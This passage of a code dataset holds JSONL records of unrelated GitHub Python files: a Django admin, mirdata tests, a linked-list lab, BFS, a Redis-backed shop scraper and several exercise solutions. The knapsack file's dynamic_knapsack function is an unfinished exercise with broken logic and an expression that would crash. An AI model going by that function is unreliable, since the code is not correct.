args[0]\n\t\treturn\n\n\tif not opts:\n\t\thelp_text()\n\t\tsys.exit()\n\t\n\ndef main():\n\tparse_args(sys.argv[1:])\n\tif not Config.query:\n\t\tprint(f\"{Red}You need to provide a query!\")\n\t\tsys.exit()\n\n\tif \".txt\" in Config.query:\n\t\tif not os.path.exists(Config.query):\n\t\t\tprint(f\"{Red}Txt file could not be found!\")\n\t\t\tsys.exit()\n\n\t\t\n\t\ttxtfile = open(Config.query, 'r')\n\t\tlines = txtfile.readlines()\n\n\t\tfor line in lines:\n\t\t\tConfig.query = line\n\t\t\tprint(f\"Searching for {Config.query}\")\n\t\t\tinit_start()\n\telse:\n\t\tinit_start()\nmain()\n","repo_name":"deniscerri/anisq","sub_path":"anisq/anisq.py","file_name":"anisq.py","file_ext":"py","file_size_in_byte":13632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"18101362922","text":"import re\n\nfile = \"items.txt\"\n\ndef get_data(filename):\n return_dict = []\n index = 1\n with open(filename,\"r\") as data:\n for line in [re.sub('\\n','',i) for i in data.readlines() if i not in [\" \",\",\",'']]:\n if line:\n comma = str(line).rfind(\",\")\n return_dict.append((index, int(line[:comma].strip()),int(line[comma+1:].strip())))\n index+=1\n return return_dict\n \n\ntest_bound = {1:[3,2],\n 2:[8,12],\n 3:[6,9],\n 4:[2,5]\n }\n\ndef brute_force(items,max_weight=165):\n def power_set(items):\n res = [[]]\n for item in items:\n res.extend([r+[item] for r in res])\n return res\n \n knapsack=[]\n best_weight = 0\n best_value = 0\n\n for item_set in power_set(items):\n set_weight = sum([e[1] for e in item_set])\n set_value = sum([e[2] for e in item_set])\n if set_weight <= max_weight and set_value > best_value:\n best_weight = set_weight\n best_value = set_value\n knapsack = [i[0] for i in item_set]\n\n return knapsack , best_weight , best_value\n\ndef dynamic_knapsack(weight_cap, weights, values):\n rows = len(weights) + 1\n cols = weight_cap + 1\n # Set up 2D array\n matrix = [ [] for x in range(rows) ]\n\n # Iterate through every row\n for index in range(rows):\n # Initialize columns for this row\n matrix[index] = [ -1 for y in range(cols) ]\n\n # Iterate through every column\n for weight in range(cols):\n # Write your code here\n if index or weight == 0:\n matrix[index][weight] = 0\n elif weights[index-1] <= weight:\n including = values[index-1] + weights[weights-[index-1]]\n excluding = matrix[index-1][weight]\n matrix[index][weight] = max(including,excluding)\n else:\n matrix[index][weight] = matrix[index - 1][weight]\n # Return the value of the bottom right of matrix\n return matrix[rows-1][weight_cap]\n\nx = get_data(file)\nprint(brute_force(x))\nprint(10**2)\n\n","repo_name":"Pbyrne95/interview_qs","sub_path":"knapsack/BranchBoundKnap.py","file_name":"BranchBoundKnap.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11357005871","text":"from django.contrib import admin\nfrom . import models\n\n\n@admin.register(models.RoomType, models.HouseRule, models.Facility, models.Amenity)\nclass ItemAdmin(admin.ModelAdmin):\n pass\n\n\n# Register your models here.\n@admin.register(models.Room)\nclass RoomAdmin(admin.ModelAdmin):\n\n fieldsets = (\n (\n \"Basic Info\",\n {\"fields\": (\"name\", \"description\", \"country\", \"address\", \"price\")},\n ),\n (\"Times\", {\"fields\": (\"check_in\", \"check_out\", \"instant_book\")}),\n (\"Spaces\", {\"fields\": (\"guests\", \"beds\", \"bedrooms\", \"baths\")}),\n (\n \"More About the Space\",\n {\n \"classes\": (\"collapse\",),\n \"fields\": (\"amenities\", \"facilities\", \"house_rules\"),\n },\n ),\n (\"Last Details\", {\"fields\": (\"host\",)}),\n )\n\n list_display = (\n \"name\",\n \"country\",\n \"city\",\n \"price\",\n \"guests\",\n \"beds\",\n \"bedrooms\",\n \"baths\",\n \"check_in\",\n \"check_out\",\n \"instant_book\",\n )\n list_filter = [\"instant_book\", \"city\", \"country\"]\n\n search_fields = [\"=city\", \"^host__username\"]\n\n filter_horizontal = (\"amenity\", \"facility\", \"house_rules\")\n # manytomany관계에서 사용함\n\n\n@admin.register(models.Photo)\nclass PhotoAdmin(admin.ModelAdmin):\n pass\n\n","repo_name":"Seong-Han/airbnb-clone","sub_path":"rooms/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"72468832071","text":"#!/usr/bin/env python3\n\nfrom setuptools import setup, find_packages\n\nfrom giftplayer import __version__\n\nwith open('requirements.txt') as f:\n requirements = f.read().splitlines()\n\nsetup(\n name='giftplayer',\n version=__version__,\n install_requires=requirements,\n author='Toshihiro Kamiya',\n author_email='kamiya@mbj.nifty.com',\n entry_points=\"\"\"\n [console_scripts]\n giftplayer = giftplayer:main\n \"\"\",\n packages=find_packages(),\n package_data={'giftplayer': ['jquery-3.1.1.min.js', 'match_question.js']},\n include_package_data=True,\n url='https://github.com/tos-kamiya/giftplayer/',\n license='License :: OSI Approved :: BSD License',\n description='a handy GIFT quiz player',\n)\n","repo_name":"tos-kamiya/giftplayer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32575230721","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def averageOfLevels(self, root: Optional[TreeNode]) -> List[float]:\n if not root:return []\n queue = deque([root])\n result = []\n while queue:\n lvl_size = len(queue)\n lvl_sum = 0\n for _ in range(lvl_size):\n node = queue.popleft()\n lvl_sum += node.val\n if node.left:queue.append(node.left)\n if node.right:queue.append(node.right)\n result.append(lvl_sum / lvl_size)\n return result","repo_name":"dododoyo/Competitive-Programming","sub_path":"0637-average-of-levels-in-binary-tree/0637-average-of-levels-in-binary-tree.py","file_name":"0637-average-of-levels-in-binary-tree.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"20471322945","text":"from django import forms\nfrom .models import Policy\nfrom parsley.decorators import parsleyfy\nfrom django.utils.safestring import mark_safe\nfrom policies.models import FREQ_CHOICES, IMAGE_CHOICES\n@parsleyfy\nclass PolicyForm(forms.ModelForm):\n class Meta:\n model = Policy\n fields = (\n 'carrier_name',\n 'policy_number',\n 'start_date',\n 'end_date',\n 'cust_serv_number',\n 'cust_serv_email',\n 'premium',\n 'frequency',\n )\n\n def __init__(self, *args, **kwargs):\n super(PolicyForm, self).__init__(*args, **kwargs)\n self.fields['start_date'].required = False\n self.fields['start_date'].widget = forms.TextInput(attrs={\n 'placeholder': 'MM/DD/YYYY'})\n self.fields['end_date'].required = False\n self.fields['end_date'].widget = forms.TextInput(attrs={\n 'placeholder': 'MM/DD/YYYY'})\n self.fields['cust_serv_number'].required = False\n self.fields['cust_serv_email'].required = False\n self.fields['premium'].required = False\n self.fields['frequency'].required = False\n self.fields['frequency'] = forms.ChoiceField(choices=FREQ_CHOICES, widget=forms.Select(attrs={'class':'browser-default'}))\n\nclass PolicyForm2(forms.ModelForm):\n class Meta:\n model = Policy\n fields = (\n 'pdf',\n )\n\n def __init__(self, *args, **kwargs):\n super(PolicyForm2, self).__init__(*args, **kwargs)\n self.fields['pdf'].required = False\n self.fields['pdf'].label = 'Drag policy here or'\n\nclass PolicyForm3(forms.ModelForm):\n class Meta:\n model = Policy\n fields = (\n 'image_name',\n )\n\n def __init__(self, *args, **kwargs):\n super(PolicyForm3, self).__init__(*args, **kwargs)\n self.fields['image_name'].label = ''\n self.fields['image_name'].required = False\n self.fields['image_name'] = forms.ChoiceField(choices=IMAGE_CHOICES,widget=forms.RadioSelect())","repo_name":"vishnutej9492/simplelifeclone","sub_path":"policies/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"3787230201","text":"from os import system\nsystem(\"clear\")\n\nprint(\"\"\"\n--------------------------------Remarks------------------------------------\nName: John Frame, Student Number: B02291550, Date: 7/17/2021\nLab # & Name: 11 - Linked Lists and their Applications\nCourse: CSC 242 Python Data Structures\n---------------------------------------------------------------------------\n\"\"\")\n\nprint(\"\"\"---------------------------------------------------------------------------\nList implementation of a Stack\n---------------------------------------------------------------------------\n\"\"\")\n\nclass Node :\n\n # singly linked node\n def __init__(self, data = None) :\n self.data = data\n self.next = None\n # print(data)\n\nclass Singly_linked_list :\n\n def __init__(self) :\n # create an empty list\n self.head = None\n self.tail = None\n self.count = 0\n def iterate_item(self) :\n # iterate through the list\n current_item = self.head\n while current_item :\n val = current_item.data\n current_item = current_item.next\n yield val\n\n def addToTail(self, data) :\n # append items on the list\n node = Node(data)\n if self.tail :\n self.tail.next = node\n self.tail = node\n else :\n self.head = node\n self.tail = node\n self.count += 1\n return self.tail.data\n\n def removeTail(self) :\n # remove the tail of the list\n if self.head == None :\n return \"Empty\"\n if self.head.next == None :\n lastItem = self.head.data\n self.head = None\n self.tail = None\n self.count -= 1\n return lastItem\n secondLastItem = self.head\n while(secondLastItem.next.next) :\n secondLastItem = secondLastItem.next\n lastItem = self.tail.data\n self.count -= 1\n self.tail = secondLastItem\n self.tail.next = None\n return lastItem\n\nclass Stack :\n def __init__(self) :\n # create an empty stack\n self.stack = Singly_linked_list()\n\n def push(self, data) :\n # push an item on the stack\n return print(\"Push: \" + str(self.stack.addToTail(data)))\n\n def pop(self) :\n # pop an item from the stack\n return print(\"Pop: \" + str(self.stack.removeTail()))\n\n def peek(self) :\n # peek at the top of the stack\n return print(\"Peek: \" + str(self.stack.tail.data))\n\n def size(self) :\n return print(\"Stack size: \" + str(self.stack.count))\n\n\nstack = Stack()\nstack.push(\"item 1\")\nstack.size()\nstack.push(\"item 2\")\nstack.size()\nstack.push(\"item 3\")\nstack.size()\nstack.push(\"item 4\")\nstack.size()\nstack.push(\"item 5\")\nstack.size()\nstack.push(\"item 6\")\nstack.size()\nstack.peek()\nstack.pop()\nstack.pop()\nstack.pop()\nstack.pop()\nstack.pop()\nstack.pop()\nstack.size()\nstack.pop()\n\n\nimport datetime\ntStamp1 = datetime.datetime.now()\nfor i in range(1, 1000) :\n stack.push(i)\nfor i in range(1, 1000) :\n stack.pop()\nstack.size()\ntStamp2 = datetime.datetime.now()\ndelta = tStamp2 - tStamp1\nintervalStack = str(int(delta.total_seconds() * 1000))\n\n\ntStamp1 = datetime.datetime.now()\nlist = []\nfor i in range(1, 1000) :\n print(list.append(i))\nfor i in range(1, 1000) :\n print(list.pop())\nprint(len(list))\ntStamp2 = datetime.datetime.now()\ndelta = tStamp2 - tStamp1\ninterval = str(int(delta.total_seconds() * 1000))\nprint (\"completed linked stack in \" + intervalStack + \" milliseconds\")\nprint (\"completed list in \" + interval + \" milliseconds\")\n","repo_name":"jbframe/oakton-python-DSandA","sub_path":"Labs/Lab11/Lap11.py","file_name":"Lap11.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"38847178230","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n\nimport numpy as np\nimport os\nimport pytest\n\nfrom mirdata import rwc_popular, utils\nfrom tests.test_utils import DEFAULT_DATA_HOME\nfrom tests.test_download_utils import mock_downloader\n\n\ndef test_track():\n # test data home None\n track_default = rwc_popular.Track('RM-P001')\n assert track_default._data_home == os.path.join(DEFAULT_DATA_HOME, 'RWC-Popular')\n\n # test data_home where the test data lives\n data_home = 'tests/resources/mir_datasets/RWC-Popular'\n\n with pytest.raises(ValueError):\n rwc_popular.Track('asdfasdf', data_home=data_home)\n\n track = rwc_popular.Track('RM-P001', data_home=data_home)\n\n # test attributes are loaded as expected\n assert track.track_id == 'RM-P001'\n assert track._data_home == data_home\n assert track._track_paths == {\n 'audio': ['audio/rwc-p-m01/1.wav', '110ac7edb20dbe9a75ffe81b2bfeecef'],\n 'sections': [\n 'annotations/AIST.RWC-MDB-P-2001.CHORUS/RM-P001.CHORUS.TXT',\n '2d735867d44c4f8677b48746b5eb324d',\n ],\n 'beats': [\n 'annotations/AIST.RWC-MDB-P-2001.BEAT/RM-P001.BEAT.TXT',\n '523231aebfea1cc62bad575cda3f704b',\n ],\n 'chords': [\n 'annotations/AIST.RWC-MDB-P-2001.CHORD/RWC_Pop_Chords/N001-M01-T01.lab',\n '2a8b1d320bb88f710be3bff4339db99b',\n ],\n 'voca_inst': [\n 'annotations/AIST.RWC-MDB-P-2001.VOCA_INST/RM-P001.VOCA_INST.TXT',\n 'f3ee36598a8bb9e367d25e0ff99850c7',\n ],\n }\n assert (\n track.audio_path\n == 'tests/resources/mir_datasets/RWC-Popular/' + 'audio/rwc-p-m01/1.wav'\n )\n assert track.piece_number == 'No. 1'\n assert track.suffix == 'M01'\n assert track.track_number == 'Tr. 01'\n assert track.title == 'Eien no replica'\n assert track.artist == 'Kazuo Nishi'\n assert track.singer_information == 'Male'\n assert track.duration == 209\n assert track.tempo == '135'\n assert track.instruments == 'Gt'\n assert track.drum_information == 'Drum sequences'\n\n # test that cached properties don't fail and have the expected type\n assert type(track.sections) is utils.SectionData\n assert type(track.beats) is utils.BeatData\n assert type(track.chords) is utils.ChordData\n assert type(track.vocal_instrument_activity) is utils.EventData\n\n # test audio loading functions\n y, sr = track.audio\n assert sr == 44100\n assert y.shape == (44100 * 2,)\n\n repr_string = (\n \"RWC-Popular Track(track_id=RM-P001, \"\n + \"audio_path=tests/resources/mir_datasets/RWC-Popular/audio/rwc-p-m01/1.wav, \"\n + \"piece_number=No. 1, suffix=M01, track_number=Tr. 01, title=Eien no replica, \"\n + \"artist=Kazuo Nishi, singer_information=Male, duration=209.0, \"\n + \"tempo=135, instruments=Gt, drum_information=Drum sequences, \"\n + \"sections=SectionData('intervals', 'labels'), \"\n + \"beats=BeatData('beat_times', 'beat_positions'))\"\n + \"chords=ChordData('intervals', 'labels'), \"\n + \"vocal_instrument_activity=EventData('start_times', 'end_times', 'event')\"\n )\n assert track.__repr__() == repr_string\n\n\ndef test_to_jams():\n\n data_home = 'tests/resources/mir_datasets/RWC-Popular'\n track = rwc_popular.Track('RM-P001', data_home=data_home)\n jam = track.to_jams()\n\n beats = jam.search(namespace='beat')[0]['data']\n assert [beat.time for beat in beats] == [\n 0.04,\n 0.49,\n 0.93,\n 1.37,\n 1.82,\n 2.26,\n 2.71,\n 3.15,\n ]\n assert [beat.duration for beat in beats] == [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n assert [beat.value for beat in beats] == [1, 2, 3, 4, 1, 2, 3, 4]\n assert [beat.confidence for beat in beats] == [\n None,\n None,\n None,\n None,\n None,\n None,\n None,\n None,\n ]\n\n segments = jam.search(namespace='segment')[0]['data']\n assert [segment.time for segment in segments] == [0.04, 10.26, 188.48, 202.71]\n assert [segment.duration for segment in segments] == [\n 10.22,\n 12.889999999999999,\n 14.230000000000018,\n 4.449999999999989,\n ]\n assert [segment.value for segment in segments] == [\n 'intro',\n 'chorus A',\n 'bridge A',\n 'ending',\n ]\n assert [segment.confidence for segment in segments] == [None, None, None, None]\n\n chords = jam.search(namespace='chord')[0]['data']\n assert [chord.time for chord in chords] == [0.0, 0.104, 3.646, 43.992, 44.494]\n assert [chord.duration for chord in chords] == [\n 0.104,\n 1.754,\n 1.7409999999999997,\n 0.5020000000000024,\n 3.142000000000003,\n ]\n assert [chord.value for chord in chords] == [\n 'N',\n 'Ab:min',\n 'E:maj',\n 'Bb:maj(*3)',\n 'C:min7',\n ]\n assert [chord.confidence for chord in chords] == [None, None, None, None, None]\n\n assert jam['file_metadata']['title'] == 'Eien no replica'\n assert jam['file_metadata']['artist'] == 'Kazuo Nishi'\n\n\ndef test_track_ids():\n track_ids = rwc_popular.track_ids()\n assert type(track_ids) is list\n assert len(track_ids) == 100\n\n\ndef test_load():\n data_home = 'tests/resources/mir_datasets/RWC-Popular'\n rwc_popular_data = rwc_popular.load(data_home=data_home)\n assert type(rwc_popular_data) is dict\n assert len(rwc_popular_data.keys()) == 100\n\n rwc_popular_data_default = rwc_popular.load()\n assert type(rwc_popular_data_default) is dict\n assert len(rwc_popular_data_default.keys()) == 100\n\n\ndef test_load_chords():\n chords_path = (\n 'tests/resources/mir_datasets/RWC-Popular/'\n + 'annotations/AIST.RWC-MDB-P-2001.CHORD/RWC_Pop_Chords/N001-M01-T01.lab'\n )\n chord_data = rwc_popular._load_chords(chords_path)\n\n # check types\n assert type(chord_data) is utils.ChordData\n assert type(chord_data.intervals) is np.ndarray\n assert type(chord_data.labels) is list\n\n # check values\n assert np.array_equal(\n chord_data.intervals[:, 0], np.array([0.000, 0.104, 3.646, 43.992, 44.494])\n )\n assert np.array_equal(\n chord_data.intervals[:, 1], np.array([0.104, 1.858, 5.387, 44.494, 47.636])\n )\n assert np.array_equal(\n chord_data.labels, ['N', 'Ab:min', 'E:maj', 'Bb:maj(*3)', 'C:min7']\n )\n\n # load a file which doesn't exist\n chord_data_none = rwc_popular._load_chords('fake/path')\n assert chord_data_none is None\n\n\ndef test_load_voca_inst():\n vocinst_path = (\n 'tests/resources/mir_datasets/RWC-Popular/'\n + 'annotations/AIST.RWC-MDB-P-2001.VOCA_INST/RM-P001.VOCA_INST.TXT'\n )\n vocinst_data = rwc_popular._load_voca_inst(vocinst_path)\n\n # check types\n assert type(vocinst_data) is utils.EventData\n assert type(vocinst_data.start_times) is np.ndarray\n assert type(vocinst_data.end_times) is np.ndarray\n assert type(vocinst_data.event) is np.ndarray\n\n # check values\n assert np.array_equal(\n vocinst_data.start_times,\n np.array(\n [\n 0.000,\n 10.293061224,\n 11.883492063,\n 12.087845804,\n 13.587460317,\n 13.819387755,\n 20.668707482,\n 20.832653061,\n ]\n ),\n )\n assert np.array_equal(\n vocinst_data.end_times,\n np.array(\n [\n 10.293061224,\n 11.883492063,\n 12.087845804,\n 13.587460317,\n 13.819387755,\n 20.668707482,\n 20.832653061,\n 26.465306122,\n ]\n ),\n )\n assert np.array_equal(\n vocinst_data.event,\n np.array(\n ['b', 'm:withm', 'b', 'm:withm', 'b', 'm:withm', 'b', 's:electricguitar']\n ),\n )\n\n # load a file which doesn't exist\n vocainst_data_none = rwc_popular._load_voca_inst('fake/path')\n assert vocainst_data_none is None\n\n\ndef test_load_metadata():\n data_home = 'tests/resources/mir_datasets/RWC-Popular'\n metadata = rwc_popular._load_metadata(data_home)\n assert metadata['data_home'] == data_home\n assert metadata['RM-P001'] == {\n 'piece_number': 'No. 1',\n 'suffix': 'M01',\n 'track_number': 'Tr. 01',\n 'title': 'Eien no replica',\n 'artist': 'Kazuo Nishi',\n 'singer_information': 'Male',\n 'duration': 209,\n 'tempo': '135',\n 'instruments': 'Gt',\n 'drum_information': 'Drum sequences',\n }\n\n metadata_none = rwc_popular._load_metadata('asdf/asdf')\n assert metadata_none is None\n\n\ndef test_download(mock_downloader):\n rwc_popular.download()\n mock_downloader.assert_called()\n\n\ndef test_validate():\n rwc_popular.validate()\n rwc_popular.validate(silence=True)\n\n\ndef test_cite():\n rwc_popular.cite()\n","repo_name":"agangzz/mirdata","sub_path":"tests/test_rwc_popular.py","file_name":"test_rwc_popular.py","file_ext":"py","file_size_in_byte":8927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"14900475620","text":"__problem__ = \"Write a program to demonstrate working of BFS\"\r\ndiagram = \"\"\"\\\r\n A\r\n / | \\ \r\n B C D\r\n / \\ | \\ \r\n E F G H\r\n /\\ /\\ \r\nI J K L\"\"\"\r\ngraph ={\r\n 'A':['B','C','D'],\r\n 'B':['E','F'],\r\n 'C':[],\r\n 'D':['G','H'],\r\n 'E':['I','J'],\r\n 'F':[],\r\n 'G':['K','L'],\r\n 'H':[],\r\n 'I':[],\r\n 'J':[],\r\n 'K':[],\r\n 'L':[],\r\n}\r\nqueue = []\r\nvisited = []\r\ndef bfs(visited,graph,node):\r\n visited.append(node)\r\n queue.append(node)\r\n while queue:\r\n x = queue.pop(0)\r\n print(x,end=\" \")\r\n for neighbour in graph[x]:\r\n if neighbour not in visited:\r\n visited.append(neighbour)\r\n queue.append(neighbour)\r\nbfs(visited=visited,graph=graph,node='A')","repo_name":"ArtaXerxess/ai-mock-practical-test","sub_path":"py exam/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"2828153550","text":"def sum_alan(arr):\n \"\"\" Define sum function using for loop \"\"\"\n total = 0\n for x in arr:\n total += x\n return total\n\n\n# test sum function\nprint(sum_alan([1, 2, 6, 1]))\n","repo_name":"alan-nguyen/algorithms-python","sub_path":"04_quicksort/01_loop_sum.py","file_name":"01_loop_sum.py","file_ext":"py","file_size_in_byte":186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"43477607229","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def widthOfBinaryTree(self, root: Optional[TreeNode]) -> int:\n \n level_order = defaultdict(list)\n \n def LevelOrder(level,root,wid=1):\n\n if not root:\n return \n \n level_order[level].append(wid)\n \n LevelOrder(level+1,root.left,wid*2)\n LevelOrder(level+1,root.right,wid*2+1)\n return\n \n LevelOrder(0,root)\n list_order = list(level_order.values())\n ans = 1\n \n for stack in list_order:\n ans = max(ans,stack[-1]- stack[0]+1)\n\n return ans\n ","repo_name":"mehari123/-Competitive-Programming","sub_path":"0662-maximum-width-of-binary-tree/0662-maximum-width-of-binary-tree.py","file_name":"0662-maximum-width-of-binary-tree.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"36177372142","text":"from flask import Flask, jsonify, request, render_template\r\nimport requests\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route(\"/\", methods=[\"GET\"])\r\ndef matches():\r\n url = 'https://api.football-data.org/v2/matches'\r\n headers = {'X-Auth-Token': '87ec44505a664bd0bead914c6b6d62a0'}\r\n response = requests.get(url, headers=headers)\r\n\r\n data = response.json()\r\n return render_template(\"matches.html\", data=data)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"PiotrKukula0/FootballAPI","sub_path":"footballAPI/football.py","file_name":"football.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70438078473","text":"from redis_queue import RedisQueue\nfrom redis_dictionary import RedisDictionary\nimport redis\nfrom lxml.html import fromstring\nfrom urllib.parse import urlparse\nimport json\nimport re\nimport os\nimport requests\n\nclass BeletagCallback:\n def __init__(self):\n self.q_pages_name = 'beletag_pages'\n self.q_elements_name = 'beletag_elements'\n self.redisClient = redis.StrictRedis(host='localhost', port=6379, db=1)\n self.redisClientElements = redis.StrictRedis(host='localhost', port=6379, db=2)\n self.pages_queue = RedisQueue(client=self.redisClient, queue_name=self.q_pages_name)\n self.elements_queue = RedisQueue(client=self.redisClient, queue_name=self.q_elements_name)\n self.main_url = \"https://shop.beletag.com/catalog/\"\n self.categories = {\n \"Мужское\": {\n \"485\": \"Брюки,бриджи\",\n \"771\": \"Спорт\",\n \"486\": \"Спорт\",\n \"559\": \"Бельевая группа\",\n \"487\": \"Шорты\",\n \"489\": \"Джемпера\",\n \"490\": \"Футболки\",\n \"634\": \"Поло\",\n \"715\": \"Комплекты\"\n },\n \"Женское\": {\n \"734\": \"Базовый ассортимент\",\n \"602\": \"Бельевая группа\",\n \"498\": \"Блузки, рубашки\",\n \"599\": \"Брюки, бриджи\",\n \"601\": \"Водолазки\",\n \"500\": \"Джемпера\",\n \"474\": \"Майки\",\n \"496\": \"Платья, сарафаны\",\n \"770\": \"Спорт\",\n \"598\": \"Толстовки, куртки\",\n \"497\": \"Футболки\",\n \"501\": \"Шорты\",\n \"502\": \"Юбки\"\n }, \n \"Общее\": {\n \"510\": \"Одежда для дома\",\n \"661\": \"Термобельё\"\n } \n }\n\n def __call__(self):\n self.set_categories_pages()\n\n def set_categories_pages(self):\n for cat in self.categories:\n for catId in self.categories[cat]:\n url = 'https://shop.beletag.com/catalog/{}/?pagecount=90&mode=ajax&PAGEN_1=1'.format(catId)\n self.pages_queue.push(url)\n\n def page_parse(self, url, html):\n tree = fromstring(html)\n parsed_url = urlparse(url).path.split('/')\n cat_id = parsed_url[-2]\n if not cat_id:\n return\n\n #parse first_level_urls\n a_count = tree.xpath('//div[@class=\"pages\"][1]/a')\n if len(a_count) > 0:\n pages_count = int(a_count[-1].text.strip())\n else:\n pages_count = 1\n print(url, 'pages_count: {}'.format(pages_count))\n for x in range(1, pages_count + 1):\n ready_url = self.main_url + \"{}/?pagecount=90&mode=ajax&PAGEN_1={}\".format(cat_id, str(x))\n self.pages_queue.push(ready_url)\n\n # parse elements_urls\n links = tree.xpath('//a[@class=\"base-photo\"]/@href')\n if len(links) > 0:\n for link in links:\n url_params = urlparse(link).path.split('/')\n category_id = url_params[2]\n element_id = url_params[3]\n ready_url = self.main_url + \"{}/{}/\".format(category_id, element_id)\n self.elements_queue.push(ready_url)\n\n # Сбор всей информации о товаре и занесение в массив с результатом\n def element_parse(self, url, html):\n rd = RedisDictionary(self.redisClientElements)\n parsed_url = urlparse(url).path.split('/')\n element_id = parsed_url[-2]\n result = {'url': url}\n tree = fromstring(html)\n catalog_element = tree.xpath('//div[@class=\"catalog-element\"]')\n\n if len(catalog_element) == 0:\n return 0\n\n catalog_element = catalog_element[0]\n cn = catalog_element.xpath('//div[@class=\"catalog-element\"]/span[@itemprop=\"category\"]/@content')[0]\n cn = cn.split(\" > \")[-1:]\n category_name = \"\".join(cn)\n good_id = catalog_element.attrib['data-id']\n category_id = catalog_element.attrib[\"data-categoryid\"]\n\n try:\n img = catalog_element.xpath(\"//div[@class='photo-zoom']/img/@src\")[0]\n except Exception:\n img = None\n\n self.save_image(img, good_id + '.' + \"\".join(img.split('.')[-1:]))\n\n scripts = tree.xpath(\"//script/text()\")\n stocks = None\n for script in scripts:\n if script is None:\n continue\n stock = re.search('offersQuantity\\[[0-9]+\\]=(.*?);', script)\n if stock is None:\n continue\n else:\n stocks = json.loads(stock.groups()[0])\n break\n\n try:\n info = tree.xpath('//div[@id=\"item-full-zoom\"]')[0]\n except Exception:\n info = ''\n\n try:\n name = info.xpath('//div[@id=\"item-full-zoom\"]/div[@class=\"title\"]/span[@itemprop=\"name\"]/text()')[0]\n except Exception:\n name = ''\n\n try:\n articul = info.xpath('//div[@class=\"article\"]/span/@content')[0]\n except Exception:\n articul = ''\n\n try:\n compositions = info.xpath('//div[@class=\"composition\"]')\n complecte = ''\n season = ''\n for composition in compositions:\n for comp in composition.getchildren():\n if \"Состав\" in comp.text:\n complecte = comp.tail\n elif \"Сезон\" in comp.text:\n season = comp.tail\n except Exception:\n complecte = ''\n season = ''\n\n try:\n description = info.xpath('//div[@class=\"description\"]/text()')[0]\n #description = description.replace(u'\\xa0', u' ')\n #description = description.strip()\n except Exception:\n description = ''\n\n try:\n price = info.xpath('//div[contains(@class, \"price\")]/div[contains(@class, \"price\")]/text()')\n if not price[-1]:\n price = price[0]\n else:\n price = price[-1]\n except Exception:\n price = ''\n\n colors = []\n\n try:\n colors_container = info.xpath('//div[@class=\"colors\"]/div')\n for color in colors_container:\n colors.append({\"name\": color.text, \"id\": color.attrib[\"data-id\"]})\n\n sizes = []\n sizes_container = info.xpath('//div[@class=\"sizes\"]/div')\n for size in sizes_container:\n sizes.append({\"name\": size.text[1:], \"id\": size.attrib[\"data-id\"]})\n except Exception:\n pass\n\n result = {\n \"category\":\n {\n \"name\": category_name,\n \"id\": category_id\n },\n \"item\":\n {\n \"name\": name,\n \"id\": good_id\n },\n \"articul\": articul,\n \"season\": season,\n \"complecte\": complecte,\n \"description\": description,\n \"price\": price,\n \"colors\": []\n }\n\n for color in colors:\n tmp_color = {\n \"id\": color[\"id\"],\n \"name\": color[\"name\"],\n \"size\": []\n }\n for size in sizes:\n # size count\n c = 0\n if (color[\"id\"] in stocks) and (size[\"id\"] in stocks[color[\"id\"]]):\n c = stocks[color[\"id\"]][size[\"id\"]]\n tmp_color[\"size\"].append({\n \"id\": size[\"id\"],\n \"name\": size[\"name\"],\n \"count\": c\n })\n result[\"colors\"].append(tmp_color)\n rd[element_id] = result\n\n def save_image(self, img_url, name):\n directory = os.getcwd() + \"/images/beletag/\"\n file = directory + name\n if os.path.exists(file):\n return\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n url = 'http://shop.beletag.com/' + img_url\n img = requests.get(url, stream=True)\n with open(file, \"bw\") as f:\n for chunk in img.iter_content(8192):\n f.write(chunk)","repo_name":"clancyGruver/new-scrapper","sub_path":"beletag_callback.py","file_name":"beletag_callback.py","file_ext":"py","file_size_in_byte":8484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31733182900","text":"def jumping_on_clouds(cloud_types, jump_length):\n \"\"\"\n The function should return an integer representing the energy level remaining after the game.\n\n :param cloud_types: an array of integers representing cloud types\n :param jump_length: an integer representing the length of one jump\n :return: the final energy level remaining after the game\n \"\"\"\n energy = 100\n position = 0\n\n while True:\n position = (position + jump_length) % len(cloud_types)\n if cloud_types[position] == 1:\n energy -= 2\n energy -= 1\n\n if position == 0:\n break\n\n return energy\n\n\nif __name__ == '__main__':\n 